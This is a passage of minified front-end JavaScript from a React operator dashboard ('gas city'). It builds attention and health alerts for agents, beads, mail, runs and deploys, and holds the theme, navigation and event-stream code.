Set(["events.rotated","session.quarantined","session.suspended","supervisor.fs_pressure.skipped_tick"]);function E4(t){return w4.has(t.type)?"attention":x4.has(t.type)?"watch":"event"}function I4(t){return t.message??t.subject??t.type}const S4=1440*60*1e3,k4=30,b4=2e9,z4=1e9,C4=1e9,T4=512e6,B4="gc:escalation",R4="decision.decide";function P4(t={}){return Xo.map(r=>N4(r,t))}function N4(t,r){switch(t){case"activity":return D4(r.activity);case"agents":return j4(r.agents);case"beads":return $4(r.beads);case"health":return A4(r.health);case"mail":return L4(r.mail);case"runs":return O4(r.runs)}}function A4(t){return{id:"health:derived",domain:"health",getItems:()=>Q4(t)}}function O4(t){return{id:"runs:derived",domain:"runs",getItems:()=>M4(t)}}function j4(t){return{id:"agents:derived",domain:"agents",getItems:()=>F4(t)}}function $4(t){return{id:"beads:derived",domain:"beads",getItems:()=>U4(t)}}function L4(t){return{id:"mail:derived",domain:"mail",getItems:()=>W4(t)}}function D4(t){return{id:"activity:derived",domain:"activity",getItems:()=>G4(t)}}function M4(t){const r=[];if(t===void 0)return r;const i={provenance:t.provenance,fetchedAt:t.fetchedAt};if(t.error!==void 0&&t.error.length>0)return r.push(It("runs",{id:"runs:unavailable",title:"Run data unavailable",summary:t.error,href:"/runs"})),r;const s=t.summary;if(s===void 0)return r;s.lanesPartial===!0&&r.push(Ho("runs",{id:"runs:partial",title:"Run list incomplete",href:"/runs"},i));for(const u of[...s.lanes,...s.blockedLanes])u.health.status!=="available"&&r.push(Ho("runs",{id:`runs:${u.id}:health-unavailable`,title:`${u.title} health unavailable`,summary:u.health.error,href:Lf(u.id,u.scope)},i));for(const u of oy(s.blockedLanes))r.push(It("runs",{id:`runs:${u.id}:blocked`,title:`${u.title} blocked`,summary:u.reason,href:Lf(u.id,u.scope)}));return r}function F4(t){const r=[];if(t===void 0)return r;if(t.error!==void 0&&t.error.length>0)return r.push(Ho("agents",{id:"agents:unavailable",title:"Agent data unavailable",summary:t.error,href:"/agents"})),r;t.partial===!0&&r.push(Ho("agents",{id:"agents:partial",title:"Agent list incomplete",href:"/agents"})),t.pendingError!==void 0&&t.pendingError.length>0&&r.push(Ho("agents",{id:"agents:pending-unavailable",title:"Agent pending state unavailable",summary:t.pendingError,href:"/agents"}));const i=(t.pendingInteractions??[]).map(s=>({agentName:s.agentName,...s.pending.prompt===void 0?{}:{prompt:s.pending.prompt}}));for(const s of X0(t.items??[],i))r.push(It("agents",{id:`agents:${s.name}:needs-you`,title:`${s.name} ${_4(s.reason)}`,summary:s.detail,href:`/agents/${encodeURIComponent(s.name)}`}));return r}function U4(t){const r=[];if(t===void 0)return r;t.error!==void 0&&t.error.length>0&&r.push(It("beads",{id:"beads:unavailable",title:"Bead data unavailable",summary:t.error,href:"/beads"})),t.partial===!0&&r.push(qn("beads",{id:"beads:partial",title:"Bead list incomplete",href:"/beads"})),t.decisionsError!==void 0&&t.decisionsError.length>0&&r.push(It("beads",{id:"beads:decisions-unavailable",title:"Decision queue unavailable",summary:t.decisionsError,href:"/beads"})),t.escalationsError!==void 0&&t.escalationsError.length>0&&r.push(It("beads",{id:"beads:escalations-unavailable",title:"Escalation queue unavailable",summary:t.escalationsError,href:"/beads"}));for(const u of t.decisions??[])r.push(V4(u));const i=t.nowMs??Date.now(),s=(t.items??[]).filter(u=>!q4(u,t.decisionLabel));for(const u of p4({beads:s,escalations:t.escalations??[]},i)){const p=u.severity==="attention"?It:qn;r.push(p("beads",{id:`beads:${u.beadId}:${u.reason}`,title:`${u.beadId} ${Z4(u.reason)}`,summary:u.summary,href:yv(u.beadId),updatedAt:u.updatedAt}))}return r}function Z4(t){return t==="escalated"?"escalated":"unclaimed"}function yv(t){const r=new URLSearchParams;return r.set("bead",t),`/beads?${r.toString()}`}function q4(t,r){return(t.labels??[]).includes(r)}function V4(t){const r=t.metadata?.[R4];return It("beads",{id:`beads:${t.id}:mayor-decision`,title:t.title,href:yv(t.id),updatedAt:t.updated_at??t.created_at,...r!==void 0&&r.trim().length>0?{summary:r}:{}})}function W4(t){const r=[];if(t===void 0)return r;t.error!==void 0&&t.error.length>0&&r.push(It("mail",{id:"mail:unavailable",title:"Mail data unavailable",summary:t.error,href:"/mail"})),t.partial===!0&&r.push(qn("mail",{id:"mail:partial",title:"Mail list incomplete",href:"/mail"}));const i=t.nowMs??Date.now();for(const s of py(t.items??[])){const u=hv(s.created_at,i),p=u!==null&&u>=S4;r.push(It("mail",{id:`mail:${s.id}:${p?"unread-stale":"unread"}`,title:s.subject,summary:p?`from ${s.from}, unread for ${gv(u)}`:`from ${s.from}`,href:H4(s.id),updatedAt:s.created_at}))}return r}function H4(t){const r=new URLSearchParams;return r.set("message",t),`/mail?${r.toString()}`}function G4(t){const r=[];if(t===void 0)return r;t.deploysError!==void 0&&t.deploysError.length>0&&r.push(It("activity",{id:"activity:deploys-unavailable",title:"Deploy data unavailable",summary:t.deploysError,href:"/activity"})),t.eventsDegraded!==void 0&&t.eventsDegraded.length>0&&r.push(qn("activity",{id:"activity:events-degraded",title:"Event stream degraded",summary:t.eventsDegraded,href:"/activity"})),t.eventsError!==void 0&&t.eventsError.length>0&&r.push(qn("activity",{id:"activity:events-unavailable",title:"Event history unavailable",summary:t.eventsError,href:"/activity"})),t.eventsPartial===!0&&r.push(qn("activity",{id:"activity:events-partial",title:"Event history incomplete",href:"/activity"})),J4(r,t.events??[]);const i=t.deploys;if(i===void 0)return r;i.failed_marker&&r.push(It("activity",{id:"activity:failed-marker",title:"Deploy failed marker present",href:"/activity"}));for(const s of i.items)s.status==="failed"?r.push(It("activity",{id:`activity:deploy:${s.at}:failed`,title:"Deploy failed",summary:s.detail,href:"/activity",updatedAt:s.at})):s.status==="in-progress"&&r.push(qn("activity",{id:`activity:deploy:${s.at}:in-progress`,title:"Deploy in progress",summary:s.detail,href:"/activity",updatedAt:s.at}));return r}function J4(t,r){for(const i of r){const s=E4(i);if(s==="event")continue;const u=s==="attention"?It:qn;t.push(u("activity",{id:`activity:event:${String(i.seq)}:${i.type}`,title:i.type,summary:I4(i),href:K4(i),updatedAt:i.ts}))}}function K4(t){return`/activity?${new URLSearchParams({mode:"events",type:t.type}).toString()}`}function Q4(t){const r=[];return t===void 0||(t.dashboardError!==void 0&&t.dashboardError.length>0&&r.push(Hn({id:"health:dashboard-health-unavailable",title:"Dashboard health unavailable",summary:t.dashboardError})),t.supervisor!==void 0&&Y4(r,t.supervisor),t.system!==void 0&&(X4(r,t.system),eI(r,t.system)),t.trend!==void 0&&!t.trend.available&&r.push(mr({id:"health:dolt-noms-unavailable",title:"Dolt-noms trend unavailable",summary:t.trend.reason}))),r}function Y4(t,r){if(r.status==="unavailable"){t.push(Hn({id:"health:supervisor-unreachable",title:"Supervisor unreachable",summary:r.error}));return}const i=r.data;i.status!=="ok"&&t.push(Hn({id:"health:supervisor-not-ok",title:`Supervisor ${i.status}`})),i.city===void 0&&t.push(mr({id:"health:supervisor-city-missing",title:"Supervisor city missing",summary:"city was absent from generated supervisor health"})),i.version===void 0&&t.push(mr({id:"health:supervisor-version-missing",title:"Supervisor version missing",summary:"version was absent from generated supervisor health"}))}function X4(t,r){const i=r.admin;i.uptime_sec<k4&&t.push(Hn({id:"health:dashboard-process-starting",title:"Dashboard process just restarted",summary:`${i.uptime_sec}s uptime`})),i.rss_bytes>=b4?t.push(Hn({id:"health:dashboard-process-rss-high",title:"Dashboard RSS high",summary:_a(i.rss_bytes)})):i.rss_bytes>=z4&&t.push(mr({id:"health:dashboard-process-rss-elevated",title:"Dashboard RSS elevated",summary:_a(i.rss_bytes)})),i.heap_used_bytes>=C4?t.push(Hn({id:"health:dashboard-process-heap-high",title:"Dashboard heap high",summary:_a(i.heap_used_bytes)})):i.heap_used_bytes>=T4&&t.push(mr({id:"health:dashboard-process-heap-elevated",title:"Dashboard heap elevated",summary:_a(i.heap_used_bytes)}))}function eI(t,r){const i=Df(r.host.free_mem_bytes,r.host.total_mem_bytes);i!==null&&i<.05?t.push(Hn({id:"health:memory-critical",title:"Host memory critical",summary:`${Math.round(i*100)}% free`})):i!==null&&i<.1&&t.push(mr({id:"health:memory-low",title:"Host memory low",summary:`${Math.round(i*100)}% free`}));const s=Df(r.host.load_avg_1,r.host.cpu_count);s!==null&&s>1.5?t.push(Hn({id:"health:load-high",title:"Host load high",summary:`${r.host.load_avg_1.toFixed(2)} load across ${r.host.cpu_count} CPUs`})):s!==null&&s>1&&t.push(mr({id:"health:load-elevated",title:"Host load elevated",summary:`${r.host.load_avg_1.toFixed(2)} load across ${r.host.cpu_count} CPUs`}))}function _a(t){return t>=1e9?`${(t/1e9).toFixed(1)} GB`:t>=1e6?`${Math.round(t/1e6)} MB`:t>=1e3?`${Math.round(t/1e3)} KB`:`${t} B`}function Df(t,r){return r<=0?null:t/r}function Hn(t){return{domain:"health",severity:"attention",href:"/health",current:!0,actionable:!0,...t}}function It(t,r){return{domain:t,severity:"attention",current:!0,actionable:!0,...r}}function qn(t,r){return{domain:t,severity:"watch",current:!0,actionable:!1,...r}}function Ho(t,r,i){return{domain:t,severity:"unavailable",current:!0,actionable:!1,...r,...i?.provenance===void 0?{}:{provenance:i.provenance},...i?.fetchedAt===void 0?{}:{fetchedAt:i.fetchedAt}}}function mr(t){return{domain:"health",severity:"watch",href:"/health",current:!0,actionable:!1,...t}}const tI=1e3,nI=100,rI="24h",oI=2500;function iI(t,r){const i=Ba(),s=i??"no-city",{decisionLabel:u,operatorWireAlias:p}=t,d=b.useMemo(()=>aI(r),[r]),m=mn(`attention:agents:${s}`,()=>sI(i)),g=mn(`attention:beads:${s}:${u}`,()=>lI(i,u)),y=mn(`attention:mail:${s}:${p}`,()=>dI(i,t)),E=mn(`attention:activity:${s}`,()=>pI(i)),S=mn(`attention:health:${s}`,()=>fI(i));return b.useMemo(()=>P4(mI({activity:E.data,agents:m.data,beads:g.data,health:S.data,mail:y.data,runs:d})),[E.data,m.data,g.data,S.data,y.data,d])}function aI(t){if(t!==void 0)return t.status==="error"?{error:t.error,provenance:"error"}:{summary:t.data,provenance:t.status,fetchedAt:t.fetchedAt}}async function sI(t){if(t===null)return{};try{const r=await ot().listAgents(t),i={items:r.items??[],partial:r.partial===!0};try{const s=await ot().listSessions(t);i.pendingInteractions=await VE(r.items??[],s.items??[])}catch(s){i.pendingError=Jt(s,"agent pending state unavailable")}return i}catch(r){return{error:Jt(r,"agent list unavailable")}}}async function lI(t,r){if(t===null)return{decisionLabel:r};const[i,s,u]=await Promise.allSettled([YE({limit:tI}),uI(t,r),cI(t)]),p={nowMs:Date.now(),decisionLabel:r};return i.status==="fulfilled"?(p.items=i.value.items,p.partial=i.value.partial===!0):p.error=Jt(i.reason,"bead list unavailable"),s.status==="fulfilled"?p.decisions=s.value.items??[]:p.decisionsError=Jt(s.reason,"decision queue unavailable"),u.status==="fulfilled"?p.escalations=u.value.items??[]:p.escalationsError=Jt(u.reason,"escalation queue unavailable"),p}async function uI(t,r){return ot().listBeads(t,{label:r,status:"open"})}async function cI(t){return ot().listBeads(t,{label:B4,status:"open"})}async function dI(t,r){if(t===null)return{};try{const i=await Zu("inbox",r.operatorAlias,r,Uu);return{items:i.items??[],nowMs:Date.now(),partial:i.partial===!0}}catch(i){return{error:Jt(i,"mail list unavailable")}}}async function pI(t){const[r,i]=await Promise.allSettled([Yr.listBuilds(),t===null?Promise.resolve(null):ot().listEvents(t,{limit:nI,since:rI})]),s={};return r.status==="fulfilled"?s.deploys=r.value:s.deploysError=Jt(r.reason,"deploy activity unavailable"),i.status==="fulfilled"?i.value!==null&&(s.events=i.value.items??[],s.eventsPartial=i.value.partial===!0,i.value.partial_errors!==null&&i.value.partial_errors!==void 0&&(s.eventsDegraded=i.value.partial_errors.join("; "))):s.eventsError=Jt(i.reason,"event history unavailable"),s}async function fI(t){if(t===null)return{};const[r,i,s]=await Promise.allSettled([Yr.systemHealth(),UE(oI).cityHealth(t),Yr.doltTrend()]),u={},p=[];return r.status==="fulfilled"?u.system=r.value:p.push(Jt(r.reason,"dashboard health unavailable")),i.status==="fulfilled"?u.supervisor={status:"available",data:i.value}:u.supervisor={status:"unavailable",error:Jt(i.reason,"supervisor health unavailable")},s.status==="fulfilled"?u.trend=s.value:p.push(Jt(s.reason,"dolt-noms trend unavailable")),p.length>0&&(u.dashboardError=p.join("; ")),u}function mI(t){const r={};for(const[i,s]of Object.entries(t))s!==void 0&&(r[i]=s);return r}async function Jr(t){const r={Accept:"application/json","Content-Type":"application/json","X-GC-Request":"dashboard"};try{const i=await fetch("/api/client-errors",{method:"POST",headers:r,credentials:"same-origin",keepalive:!0,body:JSON.stringify(t)});return i.ok?{status:"reported"}:{status:"failed",error:`client error report failed with ${i.status}`}}catch(i){return{status:"failed",error:Wr(i)}}}class _v extends b.Component{state={crashed:!1};static getDerivedStateFromError(){return{crashed:!0}}componentDidCatch(r,i){Jr({component:"ErrorBoundary",operation:"componentDidCatch",message:Wr(r)})}render(){return this.state.crashed?$.jsx("main",{className:"max-w-dashboard mx-auto px-4 sm:px-6 lg:px-8 py-12",children:$.jsxs("section",{className:"space-y-4",role:"alert",children:[$.jsx("h1",{className:"text-display font-semibold text-fg",children:"Dashboard view failed."}),$.jsx("p",{className:"text-body text-fg-muted",children:"The error was reported to the local dashboard log. Refresh to retry this view."})]})}):this.props.children}}function vI({label:t,summary:r}){const i=r.attention+r.watch;if(i===0||r.severity===null)return null;const s=i===1?"item":"items";return $.jsx("span",{"aria-label":`${t}: ${i} ${r.severity} ${s}`,className:`ml-1 align-super text-[0.65rem] leading-none tnum ${hI(r.severity)}`,children:i})}function hI(t){return t==="attention"?"text-accent":"text-warn"}function wv(t,r,i){try{const s=qu(t).getItem(r);return s===null?{status:"missing"}:{status:"found",value:s}}catch(s){return Vu(t,"getItem",r,i,s)}}function xv(t,r,i,s){try{return qu(t).setItem(r,i),{status:"stored"}}catch(u){return Vu(t,"setItem",r,s,u)}}function Ev(t,r,i){try{return qu(t).removeItem(r),{status:"stored"}}catch(s){return Vu(t,"removeItem",r,i,s)}}function qu(t){return t==="localStorage"?window.localStorage:window.sessionStorage}function Vu(t,r,i,s,u){const p=Wr(u);return Jr({component:s,operation:`${t}.${r}`,message:`${i}: ${p}`}),{status:"unavailable",error:p}}const nu="gascity:theme",ru="ThemeContext",Iv=b.createContext(null);function gI(){const t=wv("localStorage",nu,ru);return t.status==="found"&&(t.value==="light"||t.value==="dark")?t.value:"system"}function yI(){return window.matchMedia("(prefers-color-scheme: dark)").matches?"dark":"light"}function _I(t){const r=document.documentElement;t==="system"?r.removeAttribute("data-theme"):r.setAttribute("data-theme",t)}function wI({children:t}){const[r,i]=b.useState(gI),[s,u]=b.useState(yI);b.useEffect(()=>{const y=window.matchMedia("(prefers-color-scheme: dark)"),E=()=>u(y.matches?"dark":"light");return y.addEventListener("change",E),()=>y.removeEventListener("change",E)},[]);const p=r==="system"?s:r,d=b.useCallback(y=>{i(y),y==="system"?Ev("localStorage",nu,ru):xv("localStorage",nu,y,ru),_I(y)},[]),m=b.useCallback(()=>{d(p==="dark"?"light":"dark")},[p,d]),g=b.useMemo(()=>({pref:r,resolved:p,set:d,toggle:m}),[r,p,d,m]);return $.jsx(Iv.Provider,{value:g,children:t})}function xI(){const t=b.useContext(Iv);if(t===null)throw new Error("useTheme must be used inside <ThemeProvider>");return t}const Sv={operatorAlias:"operator",operatorWireAlias:"human",decisionLabel:"needs/operator"},kv=b.createContext(Sv);function EI({operator:t,children:r}){return $.jsx(kv.Provider,{value:t,children:r})}function bv(){return b.useContext(kv)}function II(t){return t===void 0?Sv:{operatorAlias:t.operatorAlias,operatorWireAlias:t.operatorWireAlias,decisionLabel:t.decisionLabel}}const SI={ok:"text-ok",warn:"text-warn",stuck:"text-accent",neutral:"text-fg-muted"},kI={ok:"●",warn:"▲",stuck:"■",neutral:"·"};function bI({tone:t,label:r,glyph:i,trailing:s,className:u="",title:p}){return $.jsxs("span",{className:`inline-flex items-baseline gap-1.5 text-body ${SI[t]} ${u}`,title:p,children:[$.jsx("span",{"aria-hidden":!0,className:"text-[0.85em] leading-none translate-y-[1px]",children:i??kI[t]}),$.jsx("span",{children:r}),s&&$.jsx("span",{className:"text-fg-faint text-label uppercase tracking-wider",children:s})]})}function V6(t){switch(t){case"closed":return"neutral";case"in_progress":return"ok";case"blocked":return"stuck";default:return"warn"}}function W6(t){switch(t){case"active":case"running":return"ok";case"rate-limited":case"rate_limited":case"waiting":return"warn";case"failed":case"closed":case"errored":case"stuck":return"stuck";default:return"neutral"}}const zv=b.createContext(!1);function zI({readOnly:t,children:r}){return $.jsx(zv.Provider,{value:t,children:r})}function CI(){return b.useContext(zv)}function TI(t,r){return t?t.readOnly:r!==null}const Cv="Read-only mode: mutations are disabled";function H6(){return $.jsx(bI,{tone:"warn",label:"Read-only",title:Cv})}const BI="mayor";function RI(t){const{operator:r,sessionAliases:i,mailFromOrTo:s}=t,u=new Map;for(const A of i){const D=A.toLowerCase();u.has(D)||u.set(D,A)}for(const A of s){const D=A.toLowerCase();u.has(D)||u.set(D,A)}const p=r.toLowerCase(),d=new Set(s.map(A=>A.toLowerCase())),m=[r],g=[],y=[],E=[];for(const[A,D]of u)if(A!==p){if(A===BI){g.push(D);continue}d.has(A)?y.push(D):E.push(D)}const S=(A,D)=>A.toLowerCase().localeCompare(D.toLowerCase());y.sort(S),E.sort(S);const T=[{tier:"you",aliases:m}];return g.length>0&&T.push({tier:"mayor",aliases:g}),y.length>0&&T.push({tier:"active",aliases:y}),E.length>0&&T.push({tier:"other",aliases:E}),T}function PI(t,r){return t===r?"user":t}function G6(t){switch(t){case"you":return"You";case"mayor":return"Mayor";case"active":return"Active";case"other":return"Other"}}async function NI(){return ot().listSessions(xn("list supervisor sessions"))}async function J6(t){const r=await ot().sessionTranscript(xn("fetch supervisor session transcript"),t);return OI(r)}function K6(t){return(t.items??[]).map(AI)}function AI(t){const r={id:t.id,template:t.template,session_name:t.session_name,title:t.title,state:t.state,created_at:t.created_at,attached:t.attached,running:t.running,provider:t.provider};return t.alias!==void 0&&(r.alias=t.alias),t.reason!==void 0&&(r.reason=t.reason),t.display_name!==void 0&&(r.display_name=t.display_name),t.last_active!==void 0&&(r.last_active=t.last_active),t.rig!==void 0&&(r.rig=t.rig),t.pool!==void 0&&(r.pool=t.pool),t.agent_kind!==void 0&&(r.agent_kind=t.agent_kind),t.model!==void 0&&(r.model=t.model),t.context_pct!==void 0&&(r.context_pct=t.context_pct),t.context_window!==void 0&&(r.context_window=t.context_window),t.activity!==void 0&&(r.activity=t.activity),r}function OI(t,r=new Date().toISOString()){const i=t.turns??[];return{...t,turns:i,total_chars:i.reduce((s,u)=>s+u.text.length,0),captured_at:r,truncated:!1}}const ou="gascity.dashboard.viewingAs",Kr="ViewingAsContext",Mf=/^[a-z][a-z0-9_./-]{1,63}$/i,Ff=[3e4,9e4,27e4];function jI(t){if(!Number.isInteger(t)||t<0||t>=Ff.length)return null;const r=Ff[t];return r===void 0?null:r}const Tv=b.createContext(null);function Uf(t){const r=wv("sessionStorage",ou,Kr);if(r.status==="found"){const i=r.value;if(i.length>0&&i.length<=64)return i}return t}function Zl(t,r){t===r?Ev("sessionStorage",ou,Kr):xv("sessionStorage",ou,t,Kr)}function $I({children:t}){const r=bv(),{operatorAlias:i}=r,[s,u]=b.useState(()=>Uf(i)),p=b.useRef(i),[d,m]=b.useState([]),[g,y]=b.useState([]),[E,S]=b.useState(!1),[T,A]=b.useState(!1),D=b.useRef(!1),W=b.useRef(!0),O=b.useRef(null),H=b.useCallback(pe=>{u(pe),Zl(pe,i)},[i]),oe=b.useCallback(()=>{u(i),Zl(i,i)},[i]),Q=b.useCallback(async()=>{try{const pe=await NI();if(!W.current)return!0;const Re=new Set,ye=[];for(const Ze of pe.items??[]){if(typeof Ze.alias!="string"||!Mf.test(Ze.alias))continue;const Ke=Ze.alias.toLowerCase();Re.has(Ke)||(Re.add(Ke),ye.push(Ze.alias))}return m(ye),A(!1),!0}catch(pe){return Jr({component:Kr,operation:"loadAliases.sessions",message:Wr(pe)}),!1}},[]),G=b.useCallback(pe=>{if(!W.current)return;const Re=jI(pe);Re!==null&&(O.current=setTimeout(()=>{O.current=null,W.current&&Q().then(ye=>{W.current&&(ye||G(pe+1))}).catch(ye=>{Jr({component:Kr,operation:"loadAliases.sessionsRetry",message:Wr(ye)})})},Re))},[Q]),ee=b.useCallback(()=>{if(D.current)return;D.current=!0,S(!0);let pe=2;const Re=()=>{pe-=1,pe===0&&W.current&&S(!1)};Q().then(ye=>{W.current&&(ye||(A(!0),G(0)))}).finally(Re),Zu("all",i,r).then(ye=>{if(!W.current)return;const Ze=new Set,Ke=[];for(const et of ye.items)for(const Qe of[et.from,et.to]){if(typeof Qe!="string"||Qe.length===0||!Mf.test(Qe))continue;const kt=Qe.toLowerCase();Ze.has(kt)||(Ze.add(kt),Ke.push(Qe))}y(Ke)}).catch(ye=>{Jr({component:Kr,operation:"loadAliases.mail",message:Wr(ye)})}).finally(Re)},[Q,G,i,r]);b.useEffect(()=>(W.current=!0,()=>{W.current=!1,O.current!==null&&(clearTimeout(O.current),O.current=null)}),[]),b.useEffect(()=>{const pe=p.current;p.current=i,pe!==i&&s===pe&&u(Uf(i))},[i,s]);const ue=b.useMemo(()=>RI({operator:i,sessionAliases:d.includes(s)?d:[...d,s],mailFromOrTo:g}),[d,g,s,i]),de=b.useMemo(()=>({viewingAs:{alias:s,isOperator:s===i},setAlias:H,resetToOperator:oe,aliasBuckets:ue,aliasesLoading:E,sessionsUnavailable:T,loadAliases:ee}),[s,i,H,oe,ue,E,T,ee]);return b.useEffect(()=>{const pe=()=>{document.hidden&&s!==i&&(u(i),Zl(i,i))};return document.addEventListener("visibilitychange",pe),()=>document.removeEventListener("visibilitychange",pe)},[s,i]),$.jsx(Tv.Provider,{value:de,children:t})}function LI(){const t=b.useContext(Tv);if(t===null)throw new Error("useViewingAs must be inside <ViewingAsProvider>");return t}const DI={id:"activity",kind:"core",path:"/activity",nav:{label:"Activity",order:55},element:b.lazy(()=>wn(()=>import("./Activity-C0ndMSgp.js"),__vite__mapDeps([0,1,2,3,4])).then(t=>({default:t.ActivityPage})))},MI={id:"health",kind:"core",path:"/health",nav:{label:"Health",order:60},element:b.lazy(()=>wn(()=>import("./Health-DWOkvU0J.js"),__vite__mapDeps([5,1,2,4,6,3])).then(t=>({default:t.HealthPage})))},Bv=[DI,MI],FI={views:"views"};function UI(t,r){console.warn(`[${t}] ${r}`)}function Rv(t,r){const i=new Set(r??[]);return t.filter(s=>s.kind==="core"||i.has(s.id))}const ZI={};function qI(t,r){const i=[];if(r!==null){const d=ZI[r];if(d!==void 0){if(t.some(g=>g.id===d.target))return{view:null,redirectTo:d.redirectTo,source:"env",warnings:i};i.push(`DEFAULT_VIEW="${r}" alias targets the "${d.target}" view, which is not enabled in this deployment (known enabled ids: ${t.map(g=>g.id).join(", ")||"(none)"}); falling through to descriptor / ambient-home`)}else{const m=t.find(g=>g.id===r);if(m!==void 0)return{view:m,source:"env",warnings:i};i.push(`DEFAULT_VIEW="${r}" does not match any enabled view (known enabled ids: ${t.map(g=>g.id).join(", ")||"(none)"}); falling through to descriptor / ambient-home`)}}const s=t.filter(d=>d.defaultRoute===!0),[u,...p]=s;if(u!==void 0&&p.length===0)return{view:u,source:"descriptor",warnings:i};if(u!==void 0){const m=[...s].sort(WI)[0]??u;return i.push(`multiple views declare defaultRoute: true (${s.map(g=>g.id).join(", ")}); picking "${m.id}" by lowest nav.order`),{view:m,source:"descriptor",warnings:i}}return{view:null,source:"fallback",warnings:i}}function VI(t,r){const i=qI(t,r);for(const s of i.warnings)UI(FI.views,s);return i}function WI(t,r){const i=t.nav?.order??Number.POSITIVE_INFINITY,s=r.nav?.order??Number.POSITIVE_INFINITY;return i!==s?i-s:t.id.localeCompare(r.id)}const HI=[{to:"/",label:"Home",end:!0,order:10},{to:"/agents",label:"Agents",order:20},{to:"/beads",label:"Beads",order:30},{to:"/runs",label:"Runs",order:40},{to:"/mail",label:"Mail",order:50}],GI={"/agents":"agents","/beads":"beads","/runs":"runs","/mail":"mail","/activity":"activity","/health":"health"};function JI(){const{resolved:t,toggle:r}=xI(),{viewingAs:i}=LI(),{operatorAlias:s}=bv(),u=CI(),p=qy(),{data:d}=mn("config",()=>Yr.config()),{data:m}=mn("cities",()=>ot().listCities()),g=Ba(),y=m?.items??[],E=g??d?.cityName??"",S=E===""||y.some(H=>H.name===E),T=y.length>1||!S,A=H=>{H!==g&&window.location.assign(`/city/${encodeURIComponent(H)}/`)},D=b.useMemo(()=>{const oe=Rv(Bv,d?.enabledModules??null).flatMap(Q=>Q.nav===null?[]:[{to:Q.path,label:Q.nav.label,end:Q.path==="/",order:Q.nav.order}]);return[...HI,...oe].sort((Q,G)=>Q.order-G.order)},[d?.enabledModules]),{pathname:W}=_n(),O=!i.isOperator&&W.startsWith("/mail");return $.jsx("header",{className:"border-b border-rule",children:$.jsxs("div",{className:"max-w-dashboard mx-auto px-4 sm:px-6 lg:px-8 py-5 flex items-baseline gap-x-6 lg:gap-x-8 gap-y-2 flex-wrap",children:[$.jsxs("div",{className:"flex items-baseline gap-3 min-w-0",children:[$.jsx("span",{className:"text-title font-semibold tracking-tight text-fg",children:"gas city"}),$.jsx("span",{className:"text-fg-muted","aria-hidden":"true",children:"·"}),T?$.jsx("label",{className:"sr-only",htmlFor:"city-switcher",children:"Switch city"}):null,T?$.jsxs("select",{id:"city-switcher",value:E,onChange:H=>A(H.target.value),className:"text-label uppercase tracking-wider text-fg-muted bg-transparent border-0 focus-mark cursor-pointer hover:text-fg transition-colors duration-150 ease-out-quart",children:[!S&&E!==""?$.jsxs("option",{value:E,disabled:!0,children:[E," (unknown)"]}):null,y.map(H=>$.jsxs("option",{value:H.name,children:[H.name,H.running?"":" (stopped)"]},H.name))]}):$.jsx("span",{className:"text-label uppercase tracking-wider text-fg-muted",children:E||"city"}),O&&$.jsxs("span",{className:"text-label uppercase tracking-wider text-accent ml-3",children:["· reading as ",PI(i.alias,s)]}),u&&$.jsx("span",{title:Cv,className:"text-label uppercase tracking-wider text-warn ml-3",children:"· read-only"})]}),$.jsx("nav",{className:"flex-1",children:$.jsx("ul",{className:"flex items-baseline gap-x-5 lg:gap-x-7 gap-y-1 flex-wrap",children:D.map(H=>{const oe=GI[H.to];return $.jsx("li",{children:$.jsxs(W0,{to:H.to,end:H.end??!1,className:({isActive:Q})=>["text-title transition-colors duration-150 ease-out-quart focus-mark",Q?"text-fg font-semibold":"text-fg-muted font-medium hover:text-fg"].join(" "),children:[H.label,oe!==void 0&&$.jsx(vI,{label:H.label,summary:p.byDomain[oe]})]})},H.to)})})}),$.jsx("button",{type:"button",onClick:r,"aria-label":`Switch to ${t==="dark"?"light":"dark"} theme`,className:"text-label uppercase tracking-wider text-fg-muted hover:text-fg transition-colors duration-150 ease-out-quart focus-mark",children:t==="dark"?"Light":"Dark"})]})})}function KI({children:t}){return $.jsxs("div",{className:"min-h-screen bg-surface text-fg antialiased",children:[$.jsx(JI,{}),$.jsx("main",{className:"max-w-dashboard mx-auto px-4 sm:px-6 lg:px-8 py-12",children:t})]})}const Pv=b.createContext(null);function QI({children:t,intervalMs:r=1e3}){const[i,s]=b.useState(()=>Date.now());return b.useEffect(()=>{const u=window.setInterval(()=>{s(Date.now())},r);return()=>{window.clearInterval(u)}},[r]),$.jsx(Pv.Provider,{value:i,children:t})}function Q6(){const t=b.useContext(Pv);if(t===null)throw new Error("useNow must be called inside a NowProvider.");return t}const YI=2e3,XI=2500;function e6(t,r,i={}){const[s,u]=b.useState("connecting"),p=b.useRef(r);p.current=r;const d=b.useRef(i.matches);d.current=i.matches;const m=b.useRef(i.coalesceMs);m.current=i.coalesceMs;const g=t.join(","),y=b.useRef(0),E=b.useRef(null);return b.useEffect(()=>{if(t.length===0){u("closed");return}let S=null,T=!1,A=null,D=null,W=1e3,O=!1;const H=()=>{D!==null&&(clearTimeout(D),D=null)},oe=ue=>{O||(O=!0,t6(ue))},Q=()=>{y.current=Date.now(),p.current()},G=()=>{const ue=m.current??XI,de=Date.now()-y.current;de>=ue?(E.current&&(clearTimeout(E.current),E.current=null),Q()):E.current===null&&(E.current=setTimeout(()=>{E.current=null,T||Q()},ue-de))},ee=()=>{const ue=globalThis.EventSource;if(typeof ue!="function"){u("closed");return}const de=Ba();if(de===null){u("closed");return}const pe=new ue(ot().cityEventStreamUrl(de));S=pe,u("connecting"),D=setTimeout(()=>{T||S!==pe||pe.readyState===ue.CLOSED||u("open")},YI),S.onopen=()=>{T||(H(),u("open"),W=1e3)};const Re=ye=>{if(T)return;let Ze=null;try{Ze=JSON.parse(ye.data)}catch{u("degraded"),oe("invalid JSON");return}if(!n6(Ze)){u("degraded"),oe("missing string event type");return}const Ke=Ze.type;if(typeof Ke!="string"){u("degraded"),oe("missing string event type");return}u("open");for(const et of t)if(Ke.startsWith(et)){const Qe=Ze;(d.current?.(Qe)??!0)&&G();break}};S.onmessage=Re,S.addEventListener("event",Re),S.onerror=()=>{T||(H(),u("closed"),S?.close(),S=null,A=setTimeout(()=>{W=Math.min(W*2,3e4),ee()},W))}};return ee(),()=>{T=!0,A&&clearTimeout(A),H(),E.current&&(clearTimeout(E.current),E.current=null),S?.close()}},[g]),s}function t6(t){Jr({component:"gc-events",operation:"parse event",message:`Malformed gc event payload: ${t}.`})}function n6(t){return typeof t=="object"&&t!==null&&!Array.isArray(t)}const r6=60*1e3;async function Da(){const t=new Date().toISOString();try{const r=await Yr.runSummary();return{source:"runs",status:"fresh",fetchedAt:t,staleAt:new Date(Date.parse(t)+r6).toISOString(),error:{kind:"none"},data:r}}catch(r){return{source:"runs",status:"error",error:s6(r,"formula 